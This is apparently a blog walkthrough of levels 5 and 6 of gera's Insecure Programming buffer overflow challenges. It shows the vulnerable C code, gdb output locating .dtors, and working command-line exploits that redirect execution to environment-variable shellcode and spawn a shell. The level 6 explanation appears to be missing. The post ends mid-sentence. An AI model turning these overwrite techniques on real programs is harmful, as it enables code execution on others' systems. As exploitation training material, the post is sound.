Advanced Buffer Overflows Revolutions
It's been a long summer break since I
last posted
here. I thought there would be no break this summer but after some hardcore sessions at the
Euskal Encounter 16
I felt I needed one. Yet again, I'll cover some levels of the
Insecure Programming
challenges by gera from
Core SDI.
Last time we covered levels up to 4 in the Advanced Buffer Overflows section. This time around, we'll go for the fifth and sixth levels. But first of all, a small news in the matter: Apparently levels 7 and 8 take advantage of certain setups of the different sections in memory to be able to corrupt the buffers and they need to be compiled with old versions of gcc(2.x.x), thus will not be featured here.
Time for some binary fun then. Let's take a look at level 5 and see what can be done:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}At first look the only thing we can overrun in this case is the
buf
buffer. But what can we overwrite and with what purpose? Well,
pbuf
pointer is right next to
buf
in the stack as local variable so that's clearly a target. Now that we acquired a target, what can we do with it? If we take a close look at the for sequence right after the call to
strcpy()
we notice that actually it's a custom implementation of a
strcpy()
call in which we control both parameters.
The path is clear then, we'll smash the
pbuf
pointer so that we can write wherever we want in memory. The only thing left now is to choose what to and where to write; we have different successful choices here. We can overwrite the GOT entry for the
exit()
call or we can also go for the executable destructors in the
.dtors
section of the binary. In this particular case, I'll go for the latter because it's a route I've never took before. First we need to find the address of the particular area in the
.dtors
section we want to overwrite. Some research within
gdb
will do the job:
0x080495fc->0x08049604 at 0x000005fc: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08049604->0x0804960c at 0x00000604: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x0804960c->0x08049610 at 0x0000060c: .jcr ALLOC LOAD DATA HAS_CONTENTS
(gdb) x/x 0x08049604
0x8049604 <__dtor_list__>: 0xffffffff
(gdb) x/x 0x08049608
0x8049608 <__dtor_end__>: 0x00000000
Thus, the address we want overwrite is
0x8049608
which will become sort of a jump pad to where we want to execute. And where do we want to execute? In our shellcode, naturally. As we did in the previous solutions, we will use
abo1exp
and thus load the shellcode in a environment variable with a known address within memory;
0xbfffff40.
Here's the resulting call:
infi@labo:~/InsecureProgramming$ ./abo1exp
infi@labo:~/InsecureProgramming$ ./abo5 `python -c 'print "A"*268+"\x08\x96\x04\x08"+" \x40\xff\xff\xbf"'`
sh-3.00$
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}Both
infi@labo:~/InsecureProgramming$ ./abo1exp
infi@labo:~/InsecureProgramming$ ./abo6 `python -c 'print "A"*268+"\x8c\xee\xff\xbf"+" \x40\xff\xff\xbf"'`
sh-3.0$As a final note for this level, when the binary was compiled using the